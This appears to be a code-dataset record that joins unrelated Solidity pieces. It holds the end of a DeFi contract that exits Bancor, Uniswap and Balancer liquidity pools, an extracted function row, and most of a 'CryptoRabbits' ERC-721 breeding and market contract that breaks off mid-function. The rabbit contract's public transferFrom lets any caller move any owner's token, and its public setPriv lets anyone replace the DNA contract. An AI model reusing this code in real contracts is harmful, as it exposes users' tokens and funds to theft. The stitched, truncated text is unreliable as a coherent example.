(connectorsAddress) = sellPoolViaBancorV1(_poolToken, _amount, _additionalData);
}
}
// sell old Bancor pool
else{
(connectorsAddress) = sellPoolViaBancorOldV(_poolToken, _amount);
}
// transfer pool connectors back to fund
connectorsAmount = transferConnectorsToSender(connectorsAddress);
}
/**
* @dev helper for sell pool in Bancor network for old converter version
*
* @param _poolToken address of bancor relay
* @param _amount amount of bancor relay
*/
function sellPoolViaBancorOldV(IERC20 _poolToken, uint256 _amount)
private
returns(address[] memory connectorsAddress)
{
// get Bancor Converter instance
address converterAddress = getBacorConverterAddressByRelay(address(_poolToken), 0);
BancorConverterInterface converter = BancorConverterInterface(converterAddress);
// liquidate relay
converter.liquidate(_amount);
// return connectors addresses
uint256 connectorsCount = converter.connectorTokenCount();
connectorsAddress = new address[](connectorsCount);
for(uint8 i = 0; i<connectorsCount; i++){
connectorsAddress[i] = address(converter.connectorTokens(i));
}
}
/**
* @dev helper for sell pool in Bancor network converter type v1
*/
function sellPoolViaBancorV1(
IERC20 _poolToken,
uint256 _amount,
bytes memory _additionalData
)
private
returns(address[] memory connectorsAddress)
{
// get Bancor Converter address
address converterAddress = getBacorConverterAddressByRelay(address(_poolToken), 1);
// get min returns
uint256[] memory reserveMinReturnAmounts;
// get connetor tokens data for remove liquidity
(connectorsAddress, reserveMinReturnAmounts) = abi.decode(_additionalData, (address[], uint256[]));
// get coneverter v1 contract
BancorConverterInterfaceV1 converter = BancorConverterInterfaceV1(converterAddress);
// remove liquidity (v1)
converter.removeLiquidity(_amount, connectorsAddress, reserveMinReturnAmounts);
}
/**
* @dev helper for sell pool in Bancor network converter type v2
*/
function sellPoolViaBancorV2(
IERC20 _poolToken,
uint256 _amount,
bytes calldata _additionalData
)
private
returns(address[] memory connectorsAddress)
{
// get Bancor Converter address
address converterAddress = getBacorConverterAddressByRelay(address(_poolToken), 2);
// get converter v2 contract
BancorConverterInterfaceV2 converter = BancorConverterInterfaceV2(converterAddress);
// get additional data
uint256 minReturn;
// get pool connectors
(connectorsAddress, minReturn) = abi.decode(_additionalData, (address[], uint256));
// remove liquidity (v2)
converter.removeLiquidity(address(_poolToken), _amount, minReturn);
}
/**
* @dev helper for sell pool in Uniswap network for v1 and v2
*/
function sellUniswapPool(
IERC20 _poolToken,
uint256 _amount,
bytes32[] calldata _additionalArgs,
bytes calldata _additionalData
)
private
returns(
address[] memory connectorsAddress,
uint256[] memory connectorsAmount
)
{
// define spender dependse of UNI pool version
address spender = uint256(_additionalArgs[0]) == 1
? address(_poolToken)
: address(uniswapV2Router);
// approve pool token
_transferFromSenderAndApproveTo(_poolToken, _amount, spender);
// sell Uni v1 or v2 pool
if(uint256(_additionalArgs[0]) == 1){
(connectorsAddress) = sellPoolViaUniswapV1(_poolToken, _amount);
}else{
(connectorsAddress) = sellPoolViaUniswapV2(_amount, _additionalData);
}
// transfer pool connectors back to fund
connectorsAmount = transferConnectorsToSender(connectorsAddress);
}
/**
* @dev helper for sell pool in Uniswap network v1
*/
function sellPoolViaUniswapV1(
IERC20 _poolToken,
uint256 _amount
)
private
returns(address[] memory connectorsAddress)
{
// get token by pool token
address tokenAddress = uniswapFactoryV1.getToken(address(_poolToken));
// check if such a pool exist
if(tokenAddress != address(0x0000000000000000000000000000000000000000)){
// get UNI exchane
UniswapExchangeInterface exchange = UniswapExchangeInterface(address(_poolToken));
// get min returns
(uint256 minEthAmount,
uint256 minErcAmount) = getUniswapConnectorsAmountByPoolAmount(_amount, address(_poolToken));
// set deadline
uint256 deadline = now + 15 minutes;
// liquidate
exchange.removeLiquidity(
_amount,
minEthAmount,
minErcAmount,
deadline);
// return data
connectorsAddress = new address[](2);
connectorsAddress[0] = address(ETH_TOKEN_ADDRESS);
connectorsAddress[1] = tokenAddress;
}
else{
revert("Not exist UNI v1 pool");
}
}
/**
* @dev helper for sell pool in Uniswap network v2
*/
function sellPoolViaUniswapV2(
uint256 _amount,
bytes calldata _additionalData
)
private
returns(address[] memory connectorsAddress)
{
// get additional data
uint256 minReturnA;
uint256 minReturnB;
// get connectors and min return from bytes
(connectorsAddress,
minReturnA,
minReturnB) = abi.decode(_additionalData, (address[], uint256, uint256));
// get deadline
uint256 deadline = now + 15 minutes;
// sell pool with include eth connector
if(connectorsAddress[0] == address(ETH_TOKEN_ADDRESS)){
uniswapV2Router.removeLiquidityETH(
connectorsAddress[1],
_amount,
minReturnB,
minReturnA,
address(this),
deadline
);
}
// sell pool only with erc20 connectors
else{
uniswapV2Router.removeLiquidity(
connectorsAddress[0],
connectorsAddress[1],
_amount,
minReturnA,
minReturnB,
address(this),
deadline
);
}
}
/**
* @dev helper for sell Balancer pool
*/
function sellBalancerPool(
uint256 _amount,
IERC20 _poolToken,
bytes calldata _additionalData
)
private
returns(
address[] memory connectorsAddress,
uint256[] memory connectorsAmount
)
{
// get additional data
uint256[] memory minConnectorsAmount;
(connectorsAddress,
minConnectorsAmount) = abi.decode(_additionalData, (address[], uint256[]));
// approve pool
_transferFromSenderAndApproveTo(
_poolToken,
_amount,
address(_poolToken));
// sell pool
IBalancerPool(address(_poolToken)).exitPool(_amount, minConnectorsAmount);
// transfer connectors back to fund
connectorsAmount = transferConnectorsToSender(connectorsAddress);
}
/**
* @dev helper for sell Bancor and Uniswap pools
* transfer pool connectors from sold pool back to sender
* return array with amount of recieved connectors
*/
function transferConnectorsToSender(address[] memory connectorsAddress)
private
returns(uint256[] memory connectorsAmount)
{
// define connectors amount length
connectorsAmount = new uint256[](connectorsAddress.length);
uint256 received = 0;
// transfer connectors back to fund
for(uint8 i = 0; i < connectorsAddress.length; i++){
// ETH case
if(connectorsAddress[i] == address(ETH_TOKEN_ADDRESS)){
// update ETH data
received = address(this).balance;
connectorsAmount[i] = received;
// tarnsfer ETH
if(received > 0)
payable(msg.sender).transfer(received);
}
// ERC20 case
else{
// update ERC20 data
received = IERC20(connectorsAddress[i]).balanceOf(address(this));
connectorsAmount[i] = received;
// transfer ERC20
if(received > 0)
IERC20(connectorsAddress[i]).transfer(msg.sender, received);
}
}
}
/**
* @dev helper for get bancor converter by bancor relay addrses
*
* @param _relay address of bancor relay
* @param _poolType bancor pool type
*/
function getBacorConverterAddressByRelay(address _relay, uint256 _poolType)
public
view
returns(address converter)
{
if(_poolType == 2){
address smartTokenContainer = SmartTokenInterface(_relay).owner();
converter = SmartTokenInterface(smartTokenContainer).owner();
}else{
converter = SmartTokenInterface(_relay).owner();
}
}
/**
* @dev return ERC20 address from Uniswap exchange address
*
* @param _exchange address of uniswap exchane
*/
function getTokenByUniswapExchange(address _exchange)
external
view
returns(address)
{
return uniswapFactoryV1.getToken(_exchange);
}
/**
* @dev helper for get amounts for both Uniswap connectors for input amount of pool
*
* @param _amount relay amount
* @param _exchange address of uniswap exchane
*/
function getUniswapConnectorsAmountByPoolAmount(
uint256 _amount,
address _exchange
)
public
view
returns(uint256 ethAmount, uint256 ercAmount)
{
IERC20 token = IERC20(uniswapFactoryV1.getToken(_exchange));
// total_liquidity exchange.totalSupply
uint256 totalLiquidity = UniswapExchangeInterface(_exchange).totalSupply();
// ethAmount = amount * exchane.eth.balance / total_liquidity
ethAmount = _amount.mul(_exchange.balance).div(totalLiquidity);
// ercAmount = amount * token.balanceOf(exchane) / total_liquidity
ercAmount = _amount.mul(token.balanceOf(_exchange)).div(totalLiquidity);
}
/**
* @dev helper for get amounts for both Uniswap connectors for input amount of pool
* for Uniswap version 2
*
* @param _amount pool amount
* @param _exchange address of uniswap exchane
*/
function getUniswapV2ConnectorsAmountByPoolAmount(
uint256 _amount,
address _exchange
)
public
view
returns(
uint256 tokenAmountOne,
uint256 tokenAmountTwo,
address tokenAddressOne,
address tokenAddressTwo
)
{
tokenAddressOne = IUniswapV2Pair(_exchange).token0();
tokenAddressTwo = IUniswapV2Pair(_exchange).token1();
// total_liquidity exchange.totalSupply
uint256 totalLiquidity = IERC20(_exchange).totalSupply();
// ethAmount = amount * exchane.eth.balance / total_liquidity
tokenAmountOne = _amount.mul(IERC20(tokenAddressOne).balanceOf(_exchange)).div(totalLiquidity);
// ercAmount = amount * token.balanceOf(exchane) / total_liquidity
tokenAmountTwo = _amount.mul(IERC20(tokenAddressTwo).balanceOf(_exchange)).div(totalLiquidity);
}
/**
* @dev helper for get amounts all Balancer connectors for input amount of pool
* for Balancer
*
* step 1 get all tokens
* step 2 get user amount from each token by a user pool share
*
* @param _amount pool amount
* @param _pool address of balancer pool
*/
function getBalancerConnectorsAmountByPoolAmount(
uint256 _amount,
address _pool
)
public
view
returns(
address[] memory tokens,
uint256[] memory tokensAmount
)
{
IBalancerPool balancerPool = IBalancerPool(_pool);
// get all pool tokens
tokens = balancerPool.getCurrentTokens();
// set tokens amount length
tokensAmount = new uint256[](tokens.length);
// get total pool shares
uint256 totalShares = IERC20(_pool).totalSupply();
// calculate all tokens from the pool
for(uint i = 0; i < tokens.length; i++){
// get a certain total token amount in pool
uint256 totalTokenAmount = IERC20(tokens[i]).balanceOf(_pool);
// get a certain pool share (_amount) from a certain token amount in pool
tokensAmount[i] = totalTokenAmount.mul(_amount).div(totalShares);
}
}
/**
* @dev helper for get value in pool for a certain connector address
*
* @param _amount relay amount
* @param _relay address of bancor relay
* @param _connector address of relay connector
*/
function getBancorConnectorsAmountByRelayAmount
(
uint256 _amount,
IERC20 _relay,
address _connector
)
public
view
returns(uint256 connectorAmount)
{
// get converter contract
BancorConverterInterface converter = BancorConverterInterface(
SmartTokenInterface(address(_relay)).owner());
// get connector balance
uint256 connectorBalance = converter.getConnectorBalance(IERC20(_connector));
// get bancor formula contract
IBancorFormula bancorFormula = IBancorFormula(
bancorData.getBancorContractAddresByName("BancorFormula"));
// calculate input
connectorAmount = bancorFormula.calculateFundCost(
_relay.totalSupply(),
connectorBalance,
1000000,
_amount);
}
/**
* @dev helper for get Bancor ERC20 connectors addresses for old Bancor version
*
* @param _relay address of bancor relay
*/
function getBancorConnectorsByRelay(address _relay)
public
view
returns(
IERC20[] memory connectors
)
{
address converterAddress = getBacorConverterAddressByRelay(_relay, 0);
BancorConverterInterface converter = BancorConverterInterface(converterAddress);
uint256 connectorTokenCount = converter.connectorTokenCount();
connectors = new IERC20[](connectorTokenCount);
for(uint8 i; i < connectorTokenCount; i++){
connectors[i] = converter.connectorTokens(i);
}
}
/**
* @dev helper for get ratio between assets in bancor newtork
*
* @param _from token or relay address
* @param _to token or relay address
* @param _amount amount from
*/
function getBancorRatio(address _from, address _to, uint256 _amount)
external
view
returns(uint256)
{
// return Bancor ratio
return bancorData.getBancorRatioForAssets(IERC20(_from), IERC20(_to), _amount);
}
// owner of portal can change getBancorData helper, for case if Bancor do some major updates
function setNewGetBancorData(address _bancorData) public onlyOwner {
bancorData = IGetBancorData(_bancorData);
}
/**
* @dev Transfers tokens to this contract and approves them to another address
*
* @param _source Token to transfer and approve
* @param _sourceAmount The amount to transfer and approve (in _source token)
* @param _to Address to approve to
*/
function _transferFromSenderAndApproveTo(IERC20 _source, uint256 _sourceAmount, address _to) private {
require(_source.transferFrom(msg.sender, address(this), _sourceAmount));
// reset previous approve (some ERC20 not allow do new approve if already approved)
_source.approve(_to, 0);
// approve
_source.approve(_to, _sourceAmount);
}
// fallback payable function to receive ether from other contract addresses
fallback() external payable {}
}
|
* @dev Transfers tokens to this contract and approves them to another address @param _source Token to transfer and approve @param _sourceAmount The amount to transfer and approve (in _source token) @param _to Address to approve to/ reset previous approve (some ERC20 not allow do new approve if already approved) approve
|
function _transferFromSenderAndApproveTo(IERC20 _source, uint256 _sourceAmount, address _to) private {
require(_source.transferFrom(msg.sender, address(this), _sourceAmount));
_source.approve(_to, 0);
_source.approve(_to, _sourceAmount);
}
| 6,512,890
|
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pragma solidity ^0.4.23;
/*
* βββββββ βββ βββββββ βββββββ ββββββ βββ
* βββββββββββ ββββββββ ββββββββ βββββββ ββββ
* βββββββββββ βββββββββ βββββββββ βββ βββββββ
* βββββββββββ βββββββββββββββββββββββ βββββ
* ββββββββββββββββββββ βββββββββ ββββββ βββ
* βββββββ βββββββ βββ ββββββββ βββββ βββ
*
* βββββββ ββββββ ββββ ββββββββββββ
* ββββββββ βββββββββββββ βββββββββββββ
* βββ βββββββββββββββββββββββββββββ
* βββ ββββββββββββββββββββββββββββ
* ββββββββββββ ββββββ βββ βββββββββββ
* βββββββ βββ ββββββ βββββββββββ
* Author: Konstantin G...
* Telegram: @bunnygame
*
* email: info@bunnycoin.co
* site : http://bunnycoin.co
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public ownerCEO;
address ownerMoney;
address ownerServer;
address privAddress;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
ownerCEO = msg.sender;
ownerServer = msg.sender;
ownerMoney = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == ownerCEO);
_;
}
modifier onlyServer() {
require(msg.sender == ownerServer || msg.sender == ownerCEO);
_;
}
function transferOwnership(address add) public onlyOwner {
if (add != address(0)) {
ownerCEO = add;
}
}
function transferOwnershipServer(address add) public onlyOwner {
if (add != address(0)) {
ownerServer = add;
}
}
function transferOwnerMoney(address _ownerMoney) public onlyOwner {
if (_ownerMoney != address(0)) {
ownerMoney = _ownerMoney;
}
}
function getOwnerMoney() public view onlyOwner returns(address) {
return ownerMoney;
}
function getOwnerServer() public view onlyOwner returns(address) {
return ownerServer;
}
/**
* @dev private contract
*/
function getPrivAddress() public view onlyOwner returns(address) {
return privAddress;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BaseRabbit is Ownable {
event SendBunny(address newOwnerBunny, uint32 bunnyId);
event StopMarket(uint32 bunnyId);
event StartMarket(uint32 bunnyId, uint money);
event BunnyBuy(uint32 bunnyId, uint money);
event EmotherCount(uint32 mother, uint summ);
event NewBunny(uint32 bunnyId, uint dnk, uint256 blocknumber, uint breed );
event ChengeSex(uint32 bunnyId, bool sex, uint256 price);
event SalaryBunny(uint32 bunnyId, uint cost);
event CreateChildren(uint32 matron, uint32 sire, uint32 child);
event BunnyName(uint32 bunnyId, string name);
event BunnyDescription(uint32 bunnyId, string name);
event CoolduwnMother(uint32 bunnyId, uint num);
event Transfer(address from, address to, uint32 tokenId);
event Approval(address owner, address approved, uint32 tokenId);
event OwnerBunnies(address owner, uint32 tokenId);
address public myAddr_test = 0x982a49414fD95e3268D3559540A67B03e40AcD64;
using SafeMath for uint256;
bool pauseSave = false;
uint256 bigPrice = 0.0005 ether;
uint public commission_system = 5;
// ID the last seal
uint32 public lastIdGen0;
uint public totalGen0 = 0;
// ID the last seal
uint public lastTimeGen0;
// ID the last seal
// uint public timeRangeCreateGen0 = 1800;
uint public timeRangeCreateGen0 = 1;
uint public promoGen0 = 2500;
uint public promoMoney = 1*bigPrice;
bool public promoPause = false;
function setPromoGen0(uint _promoGen0) public onlyOwner {
promoGen0 = _promoGen0;
}
function setPromoPause() public onlyOwner {
promoPause = !promoPause;
}
function setPromoMoney(uint _promoMoney) public onlyOwner {
promoMoney = _promoMoney;
}
modifier timeRange() {
require((lastTimeGen0+timeRangeCreateGen0) < now);
_;
}
mapping(uint32 => uint) public totalSalaryBunny;
mapping(uint32 => uint32[5]) public rabbitMother;
mapping(uint32 => uint) public motherCount;
// how many times did the rabbit cross
mapping(uint32 => uint) public rabbitBreedCount;
mapping(uint32 => uint) public rabbitSirePrice;
mapping(uint => uint32[]) public sireGenom;
mapping (uint32 => uint) mapDNK;
uint32[12] public cooldowns = [
uint32(1 minutes),
uint32(2 minutes),
uint32(4 minutes),
uint32(8 minutes),
uint32(16 minutes),
uint32(32 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(1 days)
];
struct Rabbit {
// parents
uint32 mother;
uint32 sire;
// block in which a rabbit was born
uint birthblock;
// number of births or how many times were offspring
uint birthCount;
// The time when Rabbit last gave birth
uint birthLastTime;
//the current role of the rabbit
uint role;
//indexGenome
uint genome;
}
/**
* Where we will store information about rabbits
*/
Rabbit[] public rabbits;
/**
* who owns the rabbit
*/
mapping (uint32 => address) public rabbitToOwner;
mapping(address => uint32[]) public ownerBunnies;
//mapping (address => uint) ownerRabbitCount;
mapping (uint32 => string) rabbitDescription;
mapping (uint32 => string) rabbitName;
//giff
mapping (uint32 => bool) giffblock;
mapping (address => bool) ownerGennezise;
}
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author Dieter Shirley <dete@axiomzen.co> (https://github.com/dete)
contract ERC721 {
// Required methods
function ownerOf(uint32 _tokenId) public view returns (address owner);
function approve(address _to, uint32 _tokenId) public returns (bool success);
function transfer(address _to, uint32 _tokenId) public;
function transferFrom(address _from, address _to, uint32 _tokenId) public returns (bool);
function totalSupply() public view returns (uint total);
function balanceOf(address _owner) public view returns (uint balance);
}
/// @title Interface new rabbits address
contract PrivateRabbitInterface {
function getNewRabbit(address from) public view returns (uint);
function mixDNK(uint dnkmother, uint dnksire, uint genome) public view returns (uint);
function isUIntPrivate() public pure returns (bool);
// function mixGenesRabbits(uint256 genes1, uint256 genes2, uint256 targetBlock) public returns (uint256);
}
contract BodyRabbit is BaseRabbit, ERC721 {
uint public totalBunny = 0;
string public constant name = "CryptoRabbits";
string public constant symbol = "CRB";
PrivateRabbitInterface privateContract;
/**
* @dev setting up a new address for a private contract
*/
function setPriv(address _privAddress) public returns(bool) {
privAddress = _privAddress;
privateContract = PrivateRabbitInterface(_privAddress);
}
bool public fcontr = false;
constructor() public {
setPriv(myAddr_test);
fcontr = true;
}
function isPriv() public view returns(bool) {
return privateContract.isUIntPrivate();
}
modifier checkPrivate() {
require(isPriv());
_;
}
function ownerOf(uint32 _tokenId) public view returns (address owner) {
return rabbitToOwner[_tokenId];
}
function approve(address _to, uint32 _tokenId) public returns (bool) {
_to;
_tokenId;
return false;
}
function removeTokenList(address _owner, uint32 _tokenId) internal {
uint count = ownerBunnies[_owner].length;
for (uint256 i = 0; i < count; i++) {
if(ownerBunnies[_owner][i] == _tokenId)
{
delete ownerBunnies[_owner][i];
if(count > 0 && count != (i-1)){
ownerBunnies[_owner][i] = ownerBunnies[_owner][(count-1)];
delete ownerBunnies[_owner][(count-1)];
}
ownerBunnies[_owner].length--;
return;
}
}
}
/**
* Get the cost of the reward for pairing
* @param _tokenId - rabbit that mates
*/
function getSirePrice(uint32 _tokenId) public view returns(uint) {
if(rabbits[(_tokenId-1)].role == 1){
uint procent = (rabbitSirePrice[_tokenId] / 100);
uint res = procent.mul(25);
uint system = procent.mul(commission_system);
res = res.add(rabbitSirePrice[_tokenId]);
return res.add(system);
} else {
return 0;
}
}
function addTokenList(address owner, uint32 _tokenId) internal {
ownerBunnies[owner].push( _tokenId);
emit OwnerBunnies(owner, _tokenId);
rabbitToOwner[_tokenId] = owner;
}
function transfer(address _to, uint32 _tokenId) public {
address currentOwner = msg.sender;
address oldOwner = rabbitToOwner[_tokenId];
require(rabbitToOwner[_tokenId] == msg.sender);
require(currentOwner != _to);
require(_to != address(0));
removeTokenList(oldOwner, _tokenId);
addTokenList(_to, _tokenId);
emit Transfer(oldOwner, _to, _tokenId);
}
function transferFrom(address _from, address _to, uint32 _tokenId) public returns(bool) {
address oldOwner = rabbitToOwner[_tokenId];
require(oldOwner == _from);
require(oldOwner != _to);
require(_to != address(0));
removeTokenList(oldOwner, _tokenId);
addTokenList(_to, _tokenId);
emit Transfer (oldOwner, _to, _tokenId);
return true;
}
function setTimeRangeGen0(uint _sec) public onlyOwner {
timeRangeCreateGen0 = _sec;
}
function isPauseSave() public view returns(bool) {
return !pauseSave;
}
function isPromoPause() public view returns(bool) {
if(msg.sender == ownerServer || msg.sender == ownerCEO){
return true;
}else{
return !promoPause;
}
}
function setPauseSave() public onlyOwner returns(bool) {
return pauseSave = !pauseSave;
}
/**
* for check
*
*/
function isUIntPublic() public pure returns(bool) {
return true;
}
function getTokenOwner(address owner) public view returns(uint total, uint32[] list) {
total = ownerBunnies[owner].length;
list = ownerBunnies[owner];
}
function setRabbitMother(uint32 children, uint32 mother) internal {
require(children != mother);
if (mother == 0 )
{
return;
}
uint32[11] memory pullMother;
uint start = 0;
for (uint i = 0; i < 5; i++) {
if (rabbitMother[mother][i] != 0) {
pullMother[start] = uint32(rabbitMother[mother][i]);
rabbitMother[mother][i] = 0;
start++;
}
}
pullMother[start] = mother;
start++;
for (uint m = 0; m < 5; m++) {
if(start > 5){
rabbitMother[children][m] = pullMother[(m+1)];
}else{
rabbitMother[children][m] = pullMother[m];
}
}
setMotherCount(mother);
}
function setMotherCount(uint32 _mother) internal returns(uint) { //internal
motherCount[_mother] = motherCount[_mother].add(1);
emit EmotherCount(_mother, motherCount[_mother]);
return motherCount[_mother];
}
function getMotherCount(uint32 _mother) public view returns(uint) { //internal
return motherCount[_mother];
}
function getTotalSalaryBunny(uint32 _bunny) public view returns(uint) { //internal
return totalSalaryBunny[_bunny];
}
function getRabbitMother( uint32 mother) public view returns(uint32[5]){
return rabbitMother[mother];
}
function getRabbitMotherSumm(uint32 mother) public view returns(uint count) { //internal
for (uint m = 0; m < 5 ; m++) {
if(rabbitMother[mother][m] != 0 ) {
count++;
}
}
}
function getRabbitDNK(uint32 bunnyid) public view returns(uint) {
return mapDNK[bunnyid];
}
function bytes32ToString(bytes32 x)internal pure returns (string) {
bytes memory bytesString = new bytes(32);
uint charCount = 0;
for (uint j = 0; j < 32; j++) {
byte char = byte(bytes32(uint(x) * 2 ** (8 * j)));
if (char != 0) {
bytesString[charCount] = char;
charCount++;
}
}
bytes memory bytesStringTrimmed = new bytes(charCount);
for (j = 0; j < charCount; j++) {
bytesStringTrimmed[j] = bytesString[j];
}
return string(bytesStringTrimmed);
}
function uintToBytes(uint v) internal pure returns (bytes32 ret) {
if (v == 0) {
ret = '0';
} else {
while (v > 0) {
ret = bytes32(uint(ret) / (2 ** 8));
ret |= bytes32(((v % 10) + 48) * 2 ** (8 * 31));
v /= 10;
}
}
return ret;
}
function totalSupply() public view returns (uint total) {
return totalBunny;
}
function balanceOf(address _owner) public view returns (uint) {
// _owner;
return ownerBunnies[_owner].length;
}
function sendMoney(address _to, uint256 _money) internal {
_to.transfer((_money/100)*95);
ownerMoney.transfer((_money/100)*5);
}
function getGiffBlock(uint32 _bunnyid) public view returns(bool) {
return !giffblock[_bunnyid];
}
function getOwnerGennezise(address _to) public view returns(bool) {
return ownerGennezise[_to];
}
function getBunny(uint32 _bunny) public view returns(
uint32 mother,
uint32 sire,
uint birthblock,
uint birthCount,
uint birthLastTime,
uint role,
uint genome,
bool interbreed,
uint leftTime,
uint lastTime,
uint price,
uint motherSumm
)
{
price = getSirePrice(_bunny);
_bunny = _bunny - 1;
mother = rabbits[_bunny].mother;
sire = rabbits[_bunny].sire;
birthblock = rabbits[_bunny].birthblock;
birthCount = rabbits[_bunny].birthCount;
birthLastTime = rabbits[_bunny].birthLastTime;
role = rabbits[_bunny].role;
genome = rabbits[_bunny].genome;
if(birthCount > 14) {
birthCount = 14;
}
motherSumm = motherCount[_bunny];
lastTime = uint(cooldowns[birthCount]);
lastTime = lastTime.add(birthLastTime);
if(lastTime <= now) {
interbreed = true;
} else {
leftTime = lastTime.sub(now);
}
}
function getBreed(uint32 _bunny) public view returns(
bool interbreed
)
{
_bunny = _bunny - 1;
if(_bunny == 0) {
return;
}
uint birtTime = rabbits[_bunny].birthLastTime;
uint birthCount = rabbits[_bunny].birthCount;
uint lastTime = uint(cooldowns[birthCount]);
lastTime = lastTime.add(birtTime);
if(lastTime <= now && rabbits[_bunny].role == 0 ) {
interbreed = true;
}
}
/**
* we get cooldown
*/
function getcoolduwn(uint32 _mother) public view returns(uint lastTime, uint cd, uint lefttime) {
cd = rabbits[(_mother-1)].birthCount;
if(cd > 14) {
cd = 14;
}
// time when I can give birth
lastTime = (cooldowns[cd] + rabbits[(_mother-1)].birthLastTime);
if(lastTime > now) {
// I can not give birth, it remains until delivery
lefttime = lastTime.sub(now);
}
}
}
/**
* sale and bye Rabbits
*/
contract RabbitMarket is BodyRabbit {
// Long time
uint stepMoney = 2*60*60;
function setStepMoney(uint money) public onlyOwner {
stepMoney = money;
}
/**
* @dev number of rabbits participating in the auction
*/
uint marketCount = 0;
uint daysperiod = 1;
uint sec = 1;
// how many last sales to take into account in the contract before the formation of the price
uint8 middlelast = 20;
// those who currently participate in the sale
mapping(uint32 => uint256[]) internal marketRabbits;
uint256 middlePriceMoney = 1;
uint256 middleSaleTime = 0;
uint moneyRange;
function setMoneyRange(uint _money) public onlyOwner {
moneyRange = _money;
}
// the last cost of a sold seal
uint lastmoney = 0;
// the time which was spent on the sale of the cat
uint lastTimeGen0;
//how many closed auctions
uint public totalClosedBID = 0;
mapping (uint32 => uint) bunnyCost;
mapping(uint32 => uint) bidsIndex;
/**
* @dev get rabbit price
*/
function currentPrice(uint32 _bunnyid) public view returns(uint) {
uint money = bunnyCost[_bunnyid];
if (money > 0) {
uint moneyComs = money.div(100);
moneyComs = moneyComs.mul(5);
return money.add(moneyComs);
}
}
/**
* @dev We are selling rabbit for sale
* @param _bunnyid - whose rabbit we exhibit
* @param _money - sale amount
*/
function startMarket(uint32 _bunnyid, uint _money) public returns (uint) {
require(isPauseSave());
require(_money >= bigPrice);
require(rabbitToOwner[_bunnyid] == msg.sender);
bunnyCost[_bunnyid] = _money;
emit StartMarket(_bunnyid, _money);
return marketCount++;
}
/**
* @dev remove from sale rabbit
* @param _bunnyid - a rabbit that is removed from sale
*/
function stopMarket(uint32 _bunnyid) public returns(uint) {
require(isPauseSave());
require(rabbitToOwner[_bunnyid] == msg.sender);
bunnyCost[_bunnyid] = 0;
emit StopMarket(_bunnyid);
return marketCount--;
}
/**
* @dev Acquisition of a rabbit from another user
* @param _bunnyid Bunny
*/
function buyBunny(uint32 _bunnyid) public payable {
require(isPauseSave());
require(rabbitToOwner[_bunnyid] != msg.sender);
uint price = currentPrice(_bunnyid);
require(msg.value >= price && 0 != price);
// stop trading on the current rabbit
totalClosedBID++;
// Sending money to the old user
sendMoney(rabbitToOwner[_bunnyid], msg.value);
// is sent to the new owner of the bought rabbit
transferFrom(rabbitToOwner[_bunnyid], msg.sender, _bunnyid);
stopMarket(_bunnyid);
emit BunnyBuy(_bunnyid, price);
emit SendBunny (msg.sender, _bunnyid);
}
/**
* @dev give a rabbit to a specific user
* @param add new address owner rabbits
*/
function giff(uint32 bunnyid, address add) public {
require(rabbitToOwner[bunnyid] == msg.sender);
// a rabbit taken for free can not be given
require(!(giffblock[bunnyid]));
transferFrom(msg.sender, add, bunnyid);
}
function getMarketCount() public view returns(uint) {
return marketCount;
}
}
/**
* Basic actions for the transfer of rights of rabbits
*/
contract BunnyGame is RabbitMarket {
function transferNewBunny(address _to, uint32 _bunnyid, uint localdnk, uint breed, uint32 matron, uint32 sire) internal {
emit NewBunny(_bunnyid, localdnk, block.number, breed);
emit CreateChildren(matron, sire, _bunnyid);
addTokenList(_to, _bunnyid);
totalSalaryBunny[_bunnyid] = 0;
motherCount[_bunnyid] = 0;
totalBunny++;
}
/***
* @dev create a new gene and put it up for sale, this operation takes place on the server
*/
function createGennezise(uint32 _matron) public {
bool promo = false;
require(isPriv());
require(isPauseSave());
require(isPromoPause());
if (totalGen0 > promoGen0) {
require(msg.sender == ownerServer || msg.sender == ownerCEO);
} else if (!(msg.sender == ownerServer || msg.sender == ownerCEO)) {
// promo action
require(!ownerGennezise[msg.sender]);
ownerGennezise[msg.sender] = true;
promo = true;
}
uint localdnk = privateContract.getNewRabbit(msg.sender);
Rabbit memory _Rabbit = Rabbit( 0, 0, block.number, 0, 0, 0, 0);
uint32 _bunnyid = uint32(rabbits.push(_Rabbit));
mapDNK[_bunnyid] = localdnk;
transferNewBunny(msg.sender, _bunnyid, localdnk, 0, 0, 0);
lastTimeGen0 = now;
lastIdGen0 = _bunnyid;
totalGen0++;
setRabbitMother(_bunnyid, _matron);
if (promo) {
giffblock[_bunnyid] = true;
}
}
function getGenomeChildren(uint32 _matron, uint32 _sire) internal view returns(uint) {
uint genome;
if (rabbits[(_matron-1)].genome >= rabbits[(_sire-1)].genome) {
genome = rabbits[(_matron-1)].genome;
} else {
genome = rabbits[(_sire-1)].genome;
}
return genome.add(1);
}
/**
* create a new rabbit, according to the cooldown
* @param _matron - mother who takes into account the cooldown
* @param _sire - the father who is rewarded for mating for the fusion of genes
*/
function createChildren(uint32 _matron, uint32 _sire) public payable returns(uint32) {
require(isPriv());
require(isPauseSave());
require(rabbitToOwner[_matron] == msg.sender);
// Checking for the role
require(rabbits[(_sire-1)].role == 1);
require(_matron != _sire);
require(getBreed(_matron));
// Checking the money
require(msg.value >= getSirePrice(_sire));
uint genome = getGenomeChildren(_matron, _sire);
uint localdnk = privateContract.mixDNK(mapDNK[_matron], mapDNK[_sire], genome);
Rabbit memory rabbit = Rabbit(_matron, _sire, block.number, 0, 0, 0, genome);
uint32 bunnyid = uint32(rabbits.push(rabbit));
mapDNK[bunnyid] = localdnk;
uint _moneyMother = rabbitSirePrice[_sire].div(4);
_transferMoneyMother(_matron, _moneyMother);
